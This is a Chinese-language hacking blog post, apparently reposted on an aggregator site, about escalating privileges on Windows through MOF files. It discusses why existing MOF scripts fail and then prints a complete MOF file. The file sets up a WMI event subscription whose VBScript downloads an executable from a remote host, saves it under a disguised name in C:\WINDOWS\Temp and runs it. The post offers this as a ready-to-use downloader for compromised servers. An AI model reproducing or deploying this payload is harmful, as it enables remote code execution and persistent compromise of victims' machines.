[原创]MOF提权下载者代码
Posted k8gege
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[原创]MOF提权下载者代码相关的知识,希望对你有一定的参考价值。
0x001
网上的mof提权 调用的是js执行添加用户 而且有个缺陷 还不能一步到位...
目标3389也连不上...也不知道上面安装了什么软件...毛然添加用户也不好
比如有个类似狗之类的拦截添加用户 这样不是直接就被干了
目标环境不确定,也不能轻易给人种马(要不然怎么死都不知道)
提权脚本存在几个问题
1 无回显 这样我们根本不知道是否执行成功(3389根本连不了,你怎么判断用户成功了 靠运气靠猜吗?)
2 不支持多语句 即使有回显 想要获取目标更多信息,难道要上传十几个mof脚本过去吗?
0x002 解决mof执行命令无回显的问题
实验发现在mof里用js或vbs来执行命令 都没法echo
比如执行net user > c:\xx.txt 就是不成功(直接在js或vbs里所在doc命令都是正常的)
执行命令无法回显咋办呢? 所以只能通过脚本wirtefile了..
0x003 解决mof提权无法多命令的问题
和上面一样把原来的js改成vbs...就可以执行多语句了 不过echo同样没法执行
需要回显 就要操作fso来输出执行命令后的结果... 比较简单大家自己实现
0x004 为什么要用下载者?
因为GET的注入点长度有限制...如果我们需要传比较大的文件过去...
是没办法的...至于post内容的长度 也是由管理员配置决定的...
如果人家的网站不需要上传什么大文件 配置允许长度几百 你搞个蛋啊
0x005 mof提权下载者
下载者:顾名思义就是把xx下载过去并运行(科普下:发现很多人玩黑N年还不明白)
实现原理:1 先把xx下载过去 2 运行xx
下载的方法N多种...通过http下载 ftp下载等网络协议
文中使用 http方式 (抛砖引玉) 大家一定要学会举一反三
#pragma namespace("\\.\root\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa "Win32_LocalTime" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "VBScript";
ScriptText
="Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell =
CreateObject("Wscript.Shell")
Post.Open
"GET","http://192.168.85.130/m.exe",0
Post.Send()
Set aGet =
CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type =
1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile
"C:\WINDOWS\Temp\ftp.exe",2
Shell.Run
("C:\WINDOWS\Temp\ftp.exe")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
以上是关于[原创]MOF提权下载者代码的主要内容,如果未能解决你的问题,请参考以下文章